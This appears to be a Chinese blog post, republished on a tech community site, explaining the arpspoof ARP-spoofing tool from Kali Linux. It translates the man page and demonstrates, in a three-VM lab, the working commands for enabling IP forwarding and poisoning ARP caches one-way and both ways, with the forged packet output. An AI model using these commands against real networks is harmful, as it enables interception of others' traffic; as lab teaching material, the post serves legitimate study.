前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >kali不能使用arpspoof命令_kali不能使用arpspoof命令_ARP欺骗工具arpspoof的用法「建议收藏」

kali不能使用arpspoof命令_kali不能使用arpspoof命令_ARP欺骗工具arpspoof的用法「建议收藏」

作者头像
全栈程序员站长
发布2022-11-08 15:45:20
1.2K0
发布2022-11-08 15:45:20
举报
文章被收录于专栏:全栈程序员必看

arpspoof是一个好用的ARP欺骗工具,Kali linux中自带了该工具,在ubuntu中,安装它只需运行命令:

sudo apt-get install dsniff

安装完成后,输入命令:man arpspoof 可以查看使用手册,2.4版本的手册内容如下(自己翻译的,非官方):

名字

arpspoof – 截获交换局域网中的数据包

用法

arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述

arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。

内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

参数

-i interface

指定要使用的接口(即指定一块网卡)

-c own|host|both

指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。

使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

-t target

指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

-r 毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

host host是你想要截获数据包的主机 (通常是网关)。

扩展阅读

dsniff(8), fragrouter(8)

作者

Dug Song

看完使用手册后其实还是不大懂是什么意思,但去实际使用它,试试便明白了。下面是我试验后的经验总结。

首先介绍试验环境,有三台虚拟机:

– 192.168.56.104 8:0:27:35:8e:19 Kali linux, 攻击机

– 192.168.56.101 8:0:27:31:bf:15 Windows XP

– 192.168.56.102 8:0:27:84:9a:41 Windows 7

在使用arpspoof前先开启Kali的IP转发,使用命令:

echo 1 > /proc/sys/net/ipv4/ip_forward

/proc/sys/net/ipv4/ip_forward是配置文件,默认内容为0,表示IP转发是关闭的,使用上述命令将该配置文件的内容改写为1,表示开启IP转发。

arpspoof 命令的工作过程分为两部分:

发送伪造的ARP请求包,修改目标主机中ARP缓存表,实施ARP欺骗;

当攻击完成后,再次发送伪造的ARP请求包,修改目标主机中ARP缓存表为正确的值,结束ARP欺骗。

-i 参数用于指定一块网卡,必须显式地指定,没有默认值,若不指定,会报错为:arpspoof: couldn’t arp for host xxx.xxx.xxx.xxx。

若不清楚自己机器上都有哪些网卡,可用命令 ifconfig 查看。

-t 和 -r 参数与第一部分有关,-c 参数与第二部分有关。第二部分被作者称为:cleaning up,-c 中的c大概就是从这里来的。

-t 后可以是IP地址,也可以是域名,这里只使用IP地址。

-t 参数后的第一个IP地址是要欺骗的主机,第二个IP地址是你要伪装成的主机,如:

arpspoof -i eth1 -t 192.168.56.101 192.168.56.102

执行上述命令,Kali会向Windows XP(192.168.56.101, 8:0:27:31:bf:15)发送ARP响应包,告诉Windows XP 192.168.56.102的MAC地址是8:0:27:35:8e:19(这实际上是Kali自己的MAC地址,这是在欺骗Windows XP):

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

……

每一行代表一个数据包,从左往右,各列的值的含义是:发送者MAC地址(8:0:27:35:8e:19)、接收者MAC地址(8:0:27:31:bf:15)、帧类型码(0806,代表ARP包)、包大小(42,字节)、包内容(arp reply 192.168.56.102 is-at 8:0:27:35:8e:19)。

这样的数据包不会只发送一次,而是周期性地、每隔2秒种就发送一次。这样做的效果是Windows XP发往Windows 7——即发往192.168.56.102的数据包都会发送到Kali,Kali若开启了IP转发,则会将Windows XP发来的数据包转发给Windows 7。这样,运行在Kali上的Wireshark等网络嗅探工具就能嗅探到Windows XP发往Windows 7的数据包了,而在交换局域网中,原本是嗅探不到这样的数据包的。但Windows 7发往Windows XP的数据包会直接往Windows XP,而不会发给Kali,因为我们目前只欺骗了Windows XP,Windows 7那的ARP信息是真实的。为了能嗅探到来往两个方向的数据包,需要欺骗Windows XP和Windows 7两个主机,这时需要使用参数 -r :

arpspoof -i eth1 -t 192.168.56.101 -r 192.168.56.102

arpspoof -i eth1 -t 192.168.56.101 192.168.56.102 -r

上述两条命令是等效的。执行上述命令,会欺骗Windows XP和Windows 7两个主机,发送的伪造ARP响应包如下:

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:84:9a:41 0806 42: arp reply 192.168.56.101 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:84:9a:41 0806 42: arp reply 192.168.56.101 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:35:8e:19

8:0:27:35:8e:19 8:0:27:84:9a:41 0806 42: arp reply 192.168.56.101 is-at 8:0:27:35:8e:19

……

依旧是每隔两秒发一次,不过现在一次发送两个数据包,分别发给Windows XP(8:0:27:31:bf:15)和Windows 7(8:0:27:84:9a:41)。这样,Kali便能嗅探Windows XP和Windows 7之间的往来数据了。

ARP攻击进行期间,arpspoof会不停地发送伪造的用于欺骗的ARP响应包。当攻击完成后,操作者按下Ctrl C,arpspoof并不会马上停止,而是会进行清理(cleaning up)工作,通过继续发送伪造的ARP响应包来告诉被欺骗主机目标IP真实的MAC地址。最后用于清理工作的ARP响应包的源MAC地址可以是攻击者机器的MAC地址,还可以是目标IP机器的MAC地址,或者两种都发送。这三种情况对应着 -c 参数的三个选项:own、host或both,注意这里的host就真的是h-o-s-t这四个字母,而不是主机名或主机IP。选择own或host,arpspoof在清理时会给每隔被欺骗主机每隔1秒发送共计5个ARP响应包,当然若选择both,则总共发送10个ARP响应包,耗时10秒。

如执行命令:

arpspoof -i eth1 -c both -t 192.168.56.101 192.168.56.102

后按下Ctrl C,发送的用于清理的ARP响应包如下所示:

8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:84:9a:41 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

8:0:27:35:8e:19 8:0:27:31:bf:15 0806 42: arp reply 192.168.56.102 is-at 8:0:27:84:9a:41

第一个数据包是从8:0:27:84:9a:41(这是Windows 7的MAC地址,当然是Kali伪造的)发往Windows XP(8:0:27:31:bf:15),告诉Windows XP,192.168.56.102(这是Windows 7的IP)的MAC地址是8:0:27:84:9a:41,这个数据包便是 -c host 的效果。第二个数据包的源地址是8:0:27:35:8e:19,这是Kali的MAC地址,这个数据包是 -c own 的效果。由于我们刚刚选择的参数是 -c both,故两者皆有。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/185153.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年10月6日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档